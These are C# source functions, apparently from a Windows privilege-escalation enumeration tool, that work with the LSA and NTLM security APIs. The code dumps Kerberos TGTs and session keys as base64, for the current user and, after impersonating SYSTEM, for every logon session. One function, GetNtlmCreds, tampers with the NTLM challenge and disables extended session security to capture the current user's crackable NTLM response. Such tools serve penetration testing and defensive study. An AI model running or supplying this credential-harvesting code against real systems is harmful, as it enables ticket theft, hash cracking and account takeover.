public static IntPtr LsaRegisterLogonProcessHelper() { // helper that establishes a connection to the LSA server and verifies that the caller is a logon application // used for Kerberos ticket enumeration string logonProcessName = "User32LogonProcesss"; LSA_STRING_IN LSAString; IntPtr lsaHandle = IntPtr.Zero; UInt64 securityMode = 0; LSAString.Length = (ushort)logonProcessName.Length; LSAString.MaximumLength = (ushort)(logonProcessName.Length + 1); LSAString.Buffer = logonProcessName; int ret = Secur32.LsaRegisterLogonProcess(LSAString, out lsaHandle, out securityMode); return(lsaHandle); }
private NtlmHashDTO?GetNtlmCreds(string challenge, bool DisableESS) { var clientToken = new SecBufferDesc(MAX_TOKEN_SIZE); var newClientToken = new SecBufferDesc(MAX_TOKEN_SIZE); var serverToken = new SecBufferDesc(MAX_TOKEN_SIZE); SECURITY_HANDLE cred; cred.LowPart = cred.HighPart = IntPtr.Zero; SECURITY_HANDLE clientContext; clientContext.LowPart = clientContext.HighPart = IntPtr.Zero; SECURITY_HANDLE newClientContext; newClientContext.LowPart = newClientContext.HighPart = IntPtr.Zero; SECURITY_HANDLE serverContext; serverContext.LowPart = serverContext.HighPart = IntPtr.Zero; SECURITY_INTEGER clientLifeTime; clientLifeTime.LowPart = clientLifeTime.HighPart = IntPtr.Zero; try { // Acquire credentials handle for current user var result = Secur32.AcquireCredentialsHandle( IntPtr.Zero, "NTLM", 3, IntPtr.Zero, IntPtr.Zero, 0, IntPtr.Zero, ref cred, ref clientLifeTime ); if (result != SEC_E_OK) { throw new Exception($"AcquireCredentialsHandle failed. Error: 0x{result:x8}"); } // Get a type-1 message from NTLM SSP result = Secur32.InitializeSecurityContext( ref cred, IntPtr.Zero, IntPtr.Zero, 0x00000800, // SECPKG_FLAG_NEGOTIABLE 0, 0x10, // SECURITY_NATIVE_DREP IntPtr.Zero, 0, out clientContext, out clientToken, out _, out clientLifeTime ); if (result != SEC_E_OK && result != SEC_I_CONTINUE_NEEDED) { throw new Exception($"InitializeSecurityContext failed. Error: 0x{result:x8}"); } // Get a type-2 message from NTLM SSP (Server) result = AcceptSecurityContext( ref cred, IntPtr.Zero, ref clientToken, 0x00000800, // ASC_REQ_CONNECTION 0x10, // SECURITY_NATIVE_DREP out serverContext, out serverToken, out _, out clientLifeTime ); if (result != SEC_E_OK && result != SEC_I_CONTINUE_NEEDED) { throw new Exception($"AcceptSecurityContext failed. Error: 0x{result:x8}"); } // Tamper with the CHALLENGE message var serverMessage = serverToken.ToArray(); var challengeBytes = StringToByteArray(challenge); if (DisableESS) { serverMessage[22] = (byte)(serverMessage[22] & 0xF7); } //Replace Challenge Array.Copy(challengeBytes, 0, serverMessage, 24, 8); //Reset reserved bytes to avoid local authentication Array.Copy(new byte[16], 0, serverMessage, 32, 16); var newServerToken = new SecBufferDesc(serverMessage); result = InitializeSecurityContext( ref cred, ref clientContext, IntPtr.Zero, 0x00000800, // SECPKG_FLAG_NEGOTIABLE 0, 0x10, // SECURITY_NATIVE_DREP ref newServerToken, 0, out newClientContext, out newClientToken, out _, out clientLifeTime ); var clientTokenBytes = newClientToken.ToArray(); newServerToken.Dispose(); if (result == SEC_E_OK) { return(ParseNTResponse(clientTokenBytes, challenge)); } else if (result == SEC_E_NO_CREDENTIALS) { WriteVerbose("The NTLM security package does not contain any credentials"); return(null); } else if (DisableESS) { return(GetNtlmCreds(challenge, false)); } else { throw new Exception($"InitializeSecurityContext (client) failed. Error: 0x{result:x8}"); } } catch (Exception e) { throw e; } finally { clientToken.Dispose(); newClientToken.Dispose(); serverToken.Dispose(); if (cred.LowPart != IntPtr.Zero && cred.HighPart != IntPtr.Zero) { FreeCredentialsHandle(ref cred); } if (clientContext.LowPart != IntPtr.Zero && clientContext.HighPart != IntPtr.Zero) { DeleteSecurityContext(ref clientContext); } if (newClientContext.LowPart != IntPtr.Zero && newClientContext.HighPart != IntPtr.Zero) { DeleteSecurityContext(ref newClientContext); } if (serverContext.LowPart != IntPtr.Zero && serverContext.HighPart != IntPtr.Zero) { DeleteSecurityContext(ref serverContext); } } }
public static List <Dictionary <string, string> > ListKerberosTGTDataCurrentUser() { List <Dictionary <string, string> > results = new List <Dictionary <string, string> >(); // adapted partially from Vincent LE TOUX' work // https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L2939-L2950 // and https://www.dreamincode.net/forums/topic/135033-increment-memory-pointer-issue/ // also Jared Atkinson's work at https://github.com/Invoke-IR/ACE/blob/master/ACE-Management/PS-ACE/Scripts/ACE_Get-KerberosTicketCache.ps1 try { string name = "kerberos"; LSA_STRING_IN LSAString; LSAString.Length = (ushort)name.Length; LSAString.MaximumLength = (ushort)(name.Length + 1); LSAString.Buffer = name; IntPtr responsePointer = IntPtr.Zero; int authPack; int returnBufferLength = 0; int protocalStatus = 0; IntPtr lsaHandle; int retCode; // If we want to look at tickets from a session other than our own // then we need to use LsaRegisterLogonProcess instead of LsaConnectUntrusted retCode = Secur32.LsaConnectUntrusted(out lsaHandle); KERB_RETRIEVE_TKT_REQUEST tQuery = new KERB_RETRIEVE_TKT_REQUEST(); KERB_RETRIEVE_TKT_RESPONSE response = new KERB_RETRIEVE_TKT_RESPONSE(); // obtains the unique identifier for the kerberos authentication package. retCode = Secur32.LsaLookupAuthenticationPackage(lsaHandle, ref LSAString, out authPack); // input object for querying the TGT (https://docs.microsoft.com/en-us/windows/desktop/api/ntsecapi/ns-ntsecapi-_kerb_retrieve_tkt_request) tQuery.LogonId = new LUID(); tQuery.MessageType = KERB_PROTOCOL_MESSAGE_TYPE.KerbRetrieveTicketMessage; // indicate we want kerb creds yo' //tQuery.CacheOptions = KERB_CACHE_OPTIONS.KERB_RETRIEVE_TICKET_AS_KERB_CRED; // query LSA, specifying we want the the TGT data retCode = Secur32.LsaCallAuthenticationPackage_KERB_RETRIEVE_TKT(lsaHandle, authPack, ref tQuery, Marshal.SizeOf(tQuery), out responsePointer, out returnBufferLength, out protocalStatus); // parse the returned pointer into our initial KERB_RETRIEVE_TKT_RESPONSE structure response = (KERB_RETRIEVE_TKT_RESPONSE)Marshal.PtrToStructure((System.IntPtr)responsePointer, typeof(KERB_RETRIEVE_TKT_RESPONSE)); KERB_EXTERNAL_NAME serviceNameStruct = (KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.ServiceName, typeof(KERB_EXTERNAL_NAME)); string serviceName = Marshal.PtrToStringUni(serviceNameStruct.Names.Buffer, serviceNameStruct.Names.Length / 2).Trim(); string targetName = ""; if (response.Ticket.TargetName != IntPtr.Zero) { KERB_EXTERNAL_NAME targetNameStruct = (KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.TargetName, typeof(KERB_EXTERNAL_NAME)); targetName = Marshal.PtrToStringUni(targetNameStruct.Names.Buffer, targetNameStruct.Names.Length / 2).Trim(); } KERB_EXTERNAL_NAME clientNameStruct = (KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.ClientName, typeof(KERB_EXTERNAL_NAME)); string clientName = Marshal.PtrToStringUni(clientNameStruct.Names.Buffer, clientNameStruct.Names.Length / 2).Trim(); string domainName = Marshal.PtrToStringUni(response.Ticket.DomainName.Buffer, response.Ticket.DomainName.Length / 2).Trim(); string targetDomainName = Marshal.PtrToStringUni(response.Ticket.TargetDomainName.Buffer, response.Ticket.TargetDomainName.Length / 2).Trim(); string altTargetDomainName = Marshal.PtrToStringUni(response.Ticket.AltTargetDomainName.Buffer, response.Ticket.AltTargetDomainName.Length / 2).Trim(); // extract the session key KERB_ENCRYPTION_TYPE sessionKeyType = (KERB_ENCRYPTION_TYPE)response.Ticket.SessionKey.KeyType; Int32 sessionKeyLength = response.Ticket.SessionKey.Length; byte[] sessionKey = new byte[sessionKeyLength]; Marshal.Copy(response.Ticket.SessionKey.Value, sessionKey, 0, sessionKeyLength); string base64SessionKey = Convert.ToBase64String(sessionKey); DateTime keyExpirationTime = DateTime.FromFileTime(response.Ticket.KeyExpirationTime); DateTime startTime = DateTime.FromFileTime(response.Ticket.StartTime); DateTime endTime = DateTime.FromFileTime(response.Ticket.EndTime); DateTime renewUntil = DateTime.FromFileTime(response.Ticket.RenewUntil); Int64 timeSkew = response.Ticket.TimeSkew; Int32 encodedTicketSize = response.Ticket.EncodedTicketSize; string ticketFlags = ((KERB_TICKET_FLAGS)response.Ticket.TicketFlags).ToString(); // extract the TGT and base64 encode it byte[] encodedTicket = new byte[encodedTicketSize]; Marshal.Copy(response.Ticket.EncodedTicket, encodedTicket, 0, encodedTicketSize); string base64TGT = Convert.ToBase64String(encodedTicket); results.Add(new Dictionary <string, string>() { { "ServiceName", serviceName }, { "TargetName", targetName }, { "ClientName", clientName }, { "DomainName", domainName }, { "TargetDomainName", targetDomainName }, { "SessionKeyType", string.Format("{0}", sessionKeyType) }, { "Base64SessionKey", base64SessionKey }, { "KeyExpirationTime", string.Format("{0}", keyExpirationTime) }, { "TicketFlags", ticketFlags }, { "StartTime", string.Format("{0}", startTime) }, { "EndTime", string.Format("{0}", endTime) }, { "RenewUntil", string.Format("{0}", renewUntil) }, { "TimeSkew", string.Format("{0}", timeSkew) }, { "EncodedTicketSize", string.Format("{0}", encodedTicketSize) }, { "Base64EncodedTicket", base64TGT }, }); // disconnect from LSA Secur32.LsaDeregisterLogonProcess(lsaHandle); } catch (Exception ex) { Beaprint.PrintException(ex.Message); } return(results); }
public static List <Dictionary <string, string> > ListKerberosTGTDataAllUsers() { List <Dictionary <string, string> > results = new List <Dictionary <string, string> >(); // adapted partially from Vincent LE TOUX' work // https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L2939-L2950 // and https://www.dreamincode.net/forums/topic/135033-increment-memory-pointer-issue/ // also Jared Atkinson's work at https://github.com/Invoke-IR/ACE/blob/master/ACE-Management/PS-ACE/Scripts/ACE_Get-KerberosTicketCache.ps1 IntPtr hLsa = Helpers.LsaRegisterLogonProcessHelper(); int totalTicketCount = 0; // if the original call fails then it is likely we don't have SeTcbPrivilege // to get SeTcbPrivilege we can Impersonate a NT AUTHORITY\SYSTEM Token if (hLsa == IntPtr.Zero) { Helpers.GetSystem(); // should now have the proper privileges to get a Handle to LSA hLsa = Helpers.LsaRegisterLogonProcessHelper(); // we don't need our NT AUTHORITY\SYSTEM Token anymore so we can revert to our original token Advapi32.RevertToSelf(); } try { // first return all the logon sessions DateTime systime = new DateTime(1601, 1, 1, 0, 0, 0, 0); //win32 systemdate UInt64 count; IntPtr luidPtr = IntPtr.Zero; IntPtr iter = luidPtr; uint ret = Secur32.LsaEnumerateLogonSessions(out count, out luidPtr); // get an array of pointers to LUIDs for (ulong i = 0; i < count; i++) { IntPtr sessionData; ret = Secur32.LsaGetLogonSessionData(luidPtr, out sessionData); SECURITY_LOGON_SESSION_DATA data = (SECURITY_LOGON_SESSION_DATA)Marshal.PtrToStructure(sessionData, typeof(SECURITY_LOGON_SESSION_DATA)); // if we have a valid logon if (data.PSiD != IntPtr.Zero) { // user session data string username = Marshal.PtrToStringUni(data.Username.Buffer).Trim(); System.Security.Principal.SecurityIdentifier sid = new System.Security.Principal.SecurityIdentifier(data.PSiD); string domain = Marshal.PtrToStringUni(data.LoginDomain.Buffer).Trim(); string authpackage = Marshal.PtrToStringUni(data.AuthenticationPackage.Buffer).Trim(); SECURITY_LOGON_TYPE logonType = (SECURITY_LOGON_TYPE)data.LogonType; DateTime logonTime = systime.AddTicks((long)data.LoginTime); string logonServer = Marshal.PtrToStringUni(data.LogonServer.Buffer).Trim(); string dnsDomainName = Marshal.PtrToStringUni(data.DnsDomainName.Buffer).Trim(); string upn = Marshal.PtrToStringUni(data.Upn.Buffer).Trim(); // now we want to get the tickets for this logon ID string name = "kerberos"; LSA_STRING_IN LSAString; LSAString.Length = (ushort)name.Length; LSAString.MaximumLength = (ushort)(name.Length + 1); LSAString.Buffer = name; IntPtr responsePointer = IntPtr.Zero; int authPack; int returnBufferLength = 0; int protocalStatus = 0; int retCode; KERB_RETRIEVE_TKT_REQUEST tQuery = new KERB_RETRIEVE_TKT_REQUEST(); KERB_RETRIEVE_TKT_RESPONSE response = new KERB_RETRIEVE_TKT_RESPONSE(); // obtains the unique identifier for the kerberos authentication package. retCode = Secur32.LsaLookupAuthenticationPackage(hLsa, ref LSAString, out authPack); // input object for querying the TGT for a specific logon ID (https://docs.microsoft.com/en-us/windows/desktop/api/ntsecapi/ns-ntsecapi-_kerb_retrieve_tkt_request) LUID userLogonID = new LUID(); userLogonID.LowPart = data.LoginID.LowPart; userLogonID.HighPart = 0; tQuery.LogonId = userLogonID; tQuery.MessageType = KERB_PROTOCOL_MESSAGE_TYPE.KerbRetrieveTicketMessage; // indicate we want kerb creds yo' tQuery.CacheOptions = KERB_CACHE_OPTIONS.KERB_RETRIEVE_TICKET_AS_KERB_CRED; // query LSA, specifying we want the the TGT data retCode = Secur32.LsaCallAuthenticationPackage_KERB_RETRIEVE_TKT(hLsa, authPack, ref tQuery, Marshal.SizeOf(tQuery), out responsePointer, out returnBufferLength, out protocalStatus); if ((retCode) == 0 && (responsePointer != IntPtr.Zero)) { /*Console.WriteLine("\r\n UserName : {0}", username); * Console.WriteLine(" Domain : {0}", domain); * Console.WriteLine(" LogonId : {0}", data.LoginID.LowPart); * Console.WriteLine(" UserSID : {0}", sid.AccountDomainSid); * Console.WriteLine(" AuthenticationPackage : {0}", authpackage); * Console.WriteLine(" LogonType : {0}", logonType); * Console.WriteLine(" LogonType : {0}", logonTime); * Console.WriteLine(" LogonServer : {0}", logonServer); * Console.WriteLine(" LogonServerDNSDomain : {0}", dnsDomainName); * Console.WriteLine(" UserPrincipalName : {0}", upn);*/ // parse the returned pointer into our initial KERB_RETRIEVE_TKT_RESPONSE structure response = (KERB_RETRIEVE_TKT_RESPONSE)Marshal.PtrToStructure((System.IntPtr)responsePointer, typeof(KERB_RETRIEVE_TKT_RESPONSE)); KERB_EXTERNAL_NAME serviceNameStruct = (KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.ServiceName, typeof(KERB_EXTERNAL_NAME)); string serviceName = Marshal.PtrToStringUni(serviceNameStruct.Names.Buffer, serviceNameStruct.Names.Length / 2).Trim(); string targetName = ""; if (response.Ticket.TargetName != IntPtr.Zero) { KERB_EXTERNAL_NAME targetNameStruct = (KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.TargetName, typeof(KERB_EXTERNAL_NAME)); targetName = Marshal.PtrToStringUni(targetNameStruct.Names.Buffer, targetNameStruct.Names.Length / 2).Trim(); } KERB_EXTERNAL_NAME clientNameStruct = (KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.ClientName, typeof(KERB_EXTERNAL_NAME)); string clientName = Marshal.PtrToStringUni(clientNameStruct.Names.Buffer, clientNameStruct.Names.Length / 2).Trim(); string domainName = Marshal.PtrToStringUni(response.Ticket.DomainName.Buffer, response.Ticket.DomainName.Length / 2).Trim(); string targetDomainName = Marshal.PtrToStringUni(response.Ticket.TargetDomainName.Buffer, response.Ticket.TargetDomainName.Length / 2).Trim(); string altTargetDomainName = Marshal.PtrToStringUni(response.Ticket.AltTargetDomainName.Buffer, response.Ticket.AltTargetDomainName.Length / 2).Trim(); // extract the session key KERB_ENCRYPTION_TYPE sessionKeyType = (KERB_ENCRYPTION_TYPE)response.Ticket.SessionKey.KeyType; Int32 sessionKeyLength = response.Ticket.SessionKey.Length; byte[] sessionKey = new byte[sessionKeyLength]; Marshal.Copy(response.Ticket.SessionKey.Value, sessionKey, 0, sessionKeyLength); string base64SessionKey = Convert.ToBase64String(sessionKey); DateTime keyExpirationTime = DateTime.FromFileTime(response.Ticket.KeyExpirationTime); DateTime startTime = DateTime.FromFileTime(response.Ticket.StartTime); DateTime endTime = DateTime.FromFileTime(response.Ticket.EndTime); DateTime renewUntil = DateTime.FromFileTime(response.Ticket.RenewUntil); Int64 timeSkew = response.Ticket.TimeSkew; Int32 encodedTicketSize = response.Ticket.EncodedTicketSize; string ticketFlags = ((KERB_TICKET_FLAGS)response.Ticket.TicketFlags).ToString(); // extract the TGT and base64 encode it byte[] encodedTicket = new byte[encodedTicketSize]; Marshal.Copy(response.Ticket.EncodedTicket, encodedTicket, 0, encodedTicketSize); string base64TGT = Convert.ToBase64String(encodedTicket); results.Add(new Dictionary <string, string>() { { "UserPrincipalName", upn }, { "ServiceName", serviceName }, { "TargetName", targetName }, { "ClientName", clientName }, { "DomainName", domainName }, { "TargetDomainName", targetDomainName }, { "SessionKeyType", string.Format("{0}", sessionKeyType) }, { "Base64SessionKey", base64SessionKey }, { "KeyExpirationTime", string.Format("{0}", keyExpirationTime) }, { "TicketFlags", ticketFlags }, { "StartTime", string.Format("{0}", startTime) }, { "EndTime", string.Format("{0}", endTime) }, { "RenewUntil", string.Format("{0}", renewUntil) }, { "TimeSkew", string.Format("{0}", timeSkew) }, { "EncodedTicketSize", string.Format("{0}", encodedTicketSize) }, { "Base64EncodedTicket", base64TGT }, }); totalTicketCount++; } } luidPtr = (IntPtr)((long)luidPtr.ToInt64() + Marshal.SizeOf(typeof(LUID))); //move the pointer forward Secur32.LsaFreeReturnBuffer(sessionData); //free the SECURITY_LOGON_SESSION_DATA memory in the struct } Secur32.LsaFreeReturnBuffer(luidPtr); //free the array of LUIDs // disconnect from LSA Secur32.LsaDeregisterLogonProcess(hLsa); } catch (Exception ex) { Beaprint.PrintException(ex.Message); } return(results); }
public static List <Dictionary <string, string> > ListKerberosTicketsAllUsers() { List <Dictionary <string, string> > results = new List <Dictionary <string, string> >(); // adapted partially from Vincent LE TOUX' work // https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L2939-L2950 // and https://www.dreamincode.net/forums/topic/135033-increment-memory-pointer-issue/ // also Jared Atkinson's work at https://github.com/Invoke-IR/ACE/blob/master/ACE-Management/PS-ACE/Scripts/ACE_Get-KerberosTicketCache.ps1 IntPtr hLsa = Helpers.LsaRegisterLogonProcessHelper(); int totalTicketCount = 0; // if the original call fails then it is likely we don't have SeTcbPrivilege // to get SeTcbPrivilege we can Impersonate a NT AUTHORITY\SYSTEM Token if (hLsa == IntPtr.Zero) { Helpers.GetSystem(); // should now have the proper privileges to get a Handle to LSA hLsa = Helpers.LsaRegisterLogonProcessHelper(); // we don't need our NT AUTHORITY\SYSTEM Token anymore so we can revert to our original token Advapi32.RevertToSelf(); } try { // first return all the logon sessions DateTime systime = new DateTime(1601, 1, 1, 0, 0, 0, 0); //win32 systemdate UInt64 count; IntPtr luidPtr = IntPtr.Zero; IntPtr iter = luidPtr; uint ret = Secur32.LsaEnumerateLogonSessions(out count, out luidPtr); // get an array of pointers to LUIDs for (ulong i = 0; i < count; i++) { IntPtr sessionData; ret = Secur32.LsaGetLogonSessionData(luidPtr, out sessionData); SECURITY_LOGON_SESSION_DATA data = (SECURITY_LOGON_SESSION_DATA)Marshal.PtrToStructure(sessionData, typeof(SECURITY_LOGON_SESSION_DATA)); // if we have a valid logon if (data.PSiD != IntPtr.Zero) { // user session data string username = Marshal.PtrToStringUni(data.Username.Buffer).Trim(); System.Security.Principal.SecurityIdentifier sid = new System.Security.Principal.SecurityIdentifier(data.PSiD); string domain = Marshal.PtrToStringUni(data.LoginDomain.Buffer).Trim(); string authpackage = Marshal.PtrToStringUni(data.AuthenticationPackage.Buffer).Trim(); SECURITY_LOGON_TYPE logonType = (SECURITY_LOGON_TYPE)data.LogonType; DateTime logonTime = systime.AddTicks((long)data.LoginTime); string logonServer = Marshal.PtrToStringUni(data.LogonServer.Buffer).Trim(); string dnsDomainName = Marshal.PtrToStringUni(data.DnsDomainName.Buffer).Trim(); string upn = Marshal.PtrToStringUni(data.Upn.Buffer).Trim(); // now we want to get the tickets for this logon ID string name = "kerberos"; LSA_STRING_IN LSAString; LSAString.Length = (ushort)name.Length; LSAString.MaximumLength = (ushort)(name.Length + 1); LSAString.Buffer = name; IntPtr ticketPointer = IntPtr.Zero; IntPtr ticketsPointer = IntPtr.Zero; DateTime sysTime = new DateTime(1601, 1, 1, 0, 0, 0, 0); int authPack; int returnBufferLength = 0; int protocalStatus = 0; int retCode; KERB_QUERY_TKT_CACHE_REQUEST tQuery = new KERB_QUERY_TKT_CACHE_REQUEST(); KERB_QUERY_TKT_CACHE_RESPONSE tickets = new KERB_QUERY_TKT_CACHE_RESPONSE(); KERB_TICKET_CACHE_INFO ticket; // obtains the unique identifier for the kerberos authentication package. retCode = Secur32.LsaLookupAuthenticationPackage(hLsa, ref LSAString, out authPack); // input object for querying the ticket cache for a specific logon ID LUID userLogonID = new LUID(); userLogonID.LowPart = data.LoginID.LowPart; userLogonID.HighPart = 0; tQuery.LogonId = userLogonID; tQuery.MessageType = KERB_PROTOCOL_MESSAGE_TYPE.KerbQueryTicketCacheMessage; // query LSA, specifying we want the ticket cache retCode = Secur32.LsaCallAuthenticationPackage(hLsa, authPack, ref tQuery, Marshal.SizeOf(tQuery), out ticketPointer, out returnBufferLength, out protocalStatus); /*Console.WriteLine("\r\n UserName : {0}", username); * Console.WriteLine(" Domain : {0}", domain); * Console.WriteLine(" LogonId : {0}", data.LoginID.LowPart); * Console.WriteLine(" UserSID : {0}", sid.AccountDomainSid); * Console.WriteLine(" AuthenticationPackage : {0}", authpackage); * Console.WriteLine(" LogonType : {0}", logonType); * Console.WriteLine(" LogonType : {0}", logonTime); * Console.WriteLine(" LogonServer : {0}", logonServer); * Console.WriteLine(" LogonServerDNSDomain : {0}", dnsDomainName); * Console.WriteLine(" UserPrincipalName : {0}\r\n", upn);*/ if (ticketPointer != IntPtr.Zero) { // parse the returned pointer into our initial KERB_QUERY_TKT_CACHE_RESPONSE structure tickets = (KERB_QUERY_TKT_CACHE_RESPONSE)Marshal.PtrToStructure((System.IntPtr)ticketPointer, typeof(KERB_QUERY_TKT_CACHE_RESPONSE)); int count2 = tickets.CountOfTickets; if (count2 != 0) { Console.WriteLine(" [*] Enumerated {0} ticket(s):\r\n", count2); totalTicketCount += count2; // get the size of the structures we're iterating over Int32 dataSize = Marshal.SizeOf(typeof(KERB_TICKET_CACHE_INFO)); for (int j = 0; j < count2; j++) { // iterate through the structures IntPtr currTicketPtr = (IntPtr)(long)((ticketPointer.ToInt64() + (int)(8 + j * dataSize))); // parse the new ptr to the appropriate structure ticket = (KERB_TICKET_CACHE_INFO)Marshal.PtrToStructure(currTicketPtr, typeof(KERB_TICKET_CACHE_INFO)); // extract our fields string serverName = Marshal.PtrToStringUni(ticket.ServerName.Buffer, ticket.ServerName.Length / 2); string realmName = Marshal.PtrToStringUni(ticket.RealmName.Buffer, ticket.RealmName.Length / 2); DateTime startTime = DateTime.FromFileTime(ticket.StartTime); DateTime endTime = DateTime.FromFileTime(ticket.EndTime); DateTime renewTime = DateTime.FromFileTime(ticket.RenewTime); string encryptionType = ((KERB_ENCRYPTION_TYPE)ticket.EncryptionType).ToString(); string ticketFlags = ((KERB_TICKET_FLAGS)ticket.TicketFlags).ToString(); results.Add(new Dictionary <string, string>() { { "UserPrincipalName", upn }, { "serverName", serverName }, { "RealmName", realmName }, { "StartTime", string.Format("{0}", startTime) }, { "EndTime", string.Format("{0}", endTime) }, { "RenewTime", string.Format("{0}", renewTime) }, { "EncryptionType", encryptionType }, { "TicketFlags", ticketFlags }, }); } } } } // move the pointer forward luidPtr = (IntPtr)((long)luidPtr.ToInt64() + Marshal.SizeOf(typeof(LUID))); Secur32.LsaFreeReturnBuffer(sessionData); } Secur32.LsaFreeReturnBuffer(luidPtr); // disconnect from LSA Secur32.LsaDeregisterLogonProcess(hLsa); } catch (Exception ex) { Beaprint.PrintException(ex.Message); } return(results); }
public static List <Dictionary <string, string> > ListKerberosTicketsCurrentUser() { List <Dictionary <string, string> > results = new List <Dictionary <string, string> >(); // adapted partially from Vincent LE TOUX' work // https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L2939-L2950 // and https://www.dreamincode.net/forums/topic/135033-increment-memory-pointer-issue/ // also Jared Atkinson's work at https://github.com/Invoke-IR/ACE/blob/master/ACE-Management/PS-ACE/Scripts/ACE_Get-KerberosTicketCache.ps1 try { string name = "kerberos"; LSA_STRING_IN LSAString; LSAString.Length = (ushort)name.Length; LSAString.MaximumLength = (ushort)(name.Length + 1); LSAString.Buffer = name; IntPtr ticketPointer = IntPtr.Zero; IntPtr ticketsPointer = IntPtr.Zero; DateTime sysTime = new DateTime(1601, 1, 1, 0, 0, 0, 0); int authPack; int returnBufferLength = 0; int protocalStatus = 0; IntPtr lsaHandle; int retCode; // If we want to look at tickets from a session other than our own // then we need to use LsaRegisterLogonProcess instead of LsaConnectUntrusted retCode = Secur32.LsaConnectUntrusted(out lsaHandle); KERB_QUERY_TKT_CACHE_REQUEST tQuery = new KERB_QUERY_TKT_CACHE_REQUEST(); KERB_QUERY_TKT_CACHE_RESPONSE tickets = new KERB_QUERY_TKT_CACHE_RESPONSE(); KERB_TICKET_CACHE_INFO ticket; // obtains the unique identifier for the kerberos authentication package. retCode = Secur32.LsaLookupAuthenticationPackage(lsaHandle, ref LSAString, out authPack); // input object for querying the ticket cache (https://docs.microsoft.com/en-us/windows/desktop/api/ntsecapi/ns-ntsecapi-_kerb_query_tkt_cache_request) tQuery.LogonId = new LUID(); tQuery.MessageType = KERB_PROTOCOL_MESSAGE_TYPE.KerbQueryTicketCacheMessage; // query LSA, specifying we want the ticket cache retCode = Secur32.LsaCallAuthenticationPackage(lsaHandle, authPack, ref tQuery, Marshal.SizeOf(tQuery), out ticketPointer, out returnBufferLength, out protocalStatus); // parse the returned pointer into our initial KERB_QUERY_TKT_CACHE_RESPONSE structure tickets = (KERB_QUERY_TKT_CACHE_RESPONSE)Marshal.PtrToStructure((System.IntPtr)ticketPointer, typeof(KERB_QUERY_TKT_CACHE_RESPONSE)); int count = tickets.CountOfTickets; // get the size of the structures we're iterating over Int32 dataSize = Marshal.SizeOf(typeof(KERB_TICKET_CACHE_INFO)); for (int i = 0; i < count; i++) { // iterate through the structures IntPtr currTicketPtr = (IntPtr)(long)((ticketPointer.ToInt64() + (int)(8 + i * dataSize))); // parse the new ptr to the appropriate structure ticket = (KERB_TICKET_CACHE_INFO)Marshal.PtrToStructure(currTicketPtr, typeof(KERB_TICKET_CACHE_INFO)); // extract our fields string serverName = Marshal.PtrToStringUni(ticket.ServerName.Buffer, ticket.ServerName.Length / 2); string realmName = Marshal.PtrToStringUni(ticket.RealmName.Buffer, ticket.RealmName.Length / 2); DateTime startTime = DateTime.FromFileTime(ticket.StartTime); DateTime endTime = DateTime.FromFileTime(ticket.EndTime); DateTime renewTime = DateTime.FromFileTime(ticket.RenewTime); string encryptionType = ((KERB_ENCRYPTION_TYPE)ticket.EncryptionType).ToString(); string ticketFlags = ((KERB_TICKET_FLAGS)ticket.TicketFlags).ToString(); results.Add(new Dictionary <string, string>() { { "serverName", serverName }, { "RealmName", realmName }, { "StartTime", string.Format("{0}", startTime) }, { "EndTime", string.Format("{0}", endTime) }, { "RenewTime", string.Format("{0}", renewTime) }, { "EncryptionType", encryptionType }, { "TicketFlags", ticketFlags }, }); } // disconnect from LSA Secur32.LsaDeregisterLogonProcess(lsaHandle); } catch (Exception ex) { Beaprint.PrintException(ex.Message); } return(results); }
private static IEnumerable <LogonSessionsInfo> GetLogonSessionsLSA() { var systime = new DateTime(1601, 1, 1, 0, 0, 0, 0); //win32 systemdate var ret = Secur32.LsaEnumerateLogonSessions(out var count, out var luidPtr); // get an array of pointers to LUIDs for (ulong i = 0; i < count; i++) { // TODO: Check return value ret = Secur32.LsaGetLogonSessionData(luidPtr, out var sessionData); var data = (SECURITY_LOGON_SESSION_DATA)Marshal.PtrToStructure(sessionData, typeof(SECURITY_LOGON_SESSION_DATA)); // if we have a valid logon if (data.PSiD != IntPtr.Zero) { // get the account username var username = Marshal.PtrToStringUni(data.Username.Buffer).Trim(); // convert the security identifier of the user var sid = new System.Security.Principal.SecurityIdentifier(data.PSiD); // domain for this account var domain = Marshal.PtrToStringUni(data.LoginDomain.Buffer).Trim(); // authentication package var authpackage = Marshal.PtrToStringUni(data.AuthenticationPackage.Buffer).Trim(); // logon type var logonType = (SECURITY_LOGON_TYPE)data.LogonType; // datetime the session was logged in var logonTime = systime.AddTicks((long)data.LoginTime); // user's logon server var logonServer = Marshal.PtrToStringUni(data.LogonServer.Buffer).Trim(); // logon server's DNS domain var dnsDomainName = Marshal.PtrToStringUni(data.DnsDomainName.Buffer).Trim(); // user principalname var upn = Marshal.PtrToStringUni(data.Upn.Buffer).Trim(); var logonID = ""; try { logonID = data.LoginID.LowPart.ToString(); } catch { } var userSID = ""; try { userSID = sid.Value; } catch { } yield return(new LogonSessionsInfo( "LSA", username, domain, logonID, logonType.ToString(), authpackage, null, logonTime, logonServer, dnsDomainName, upn, userSID )); } // move the pointer forward luidPtr = (IntPtr)((long)luidPtr.ToInt64() + Marshal.SizeOf(typeof(LUID))); Secur32.LsaFreeReturnBuffer(sessionData); } Secur32.LsaFreeReturnBuffer(luidPtr); }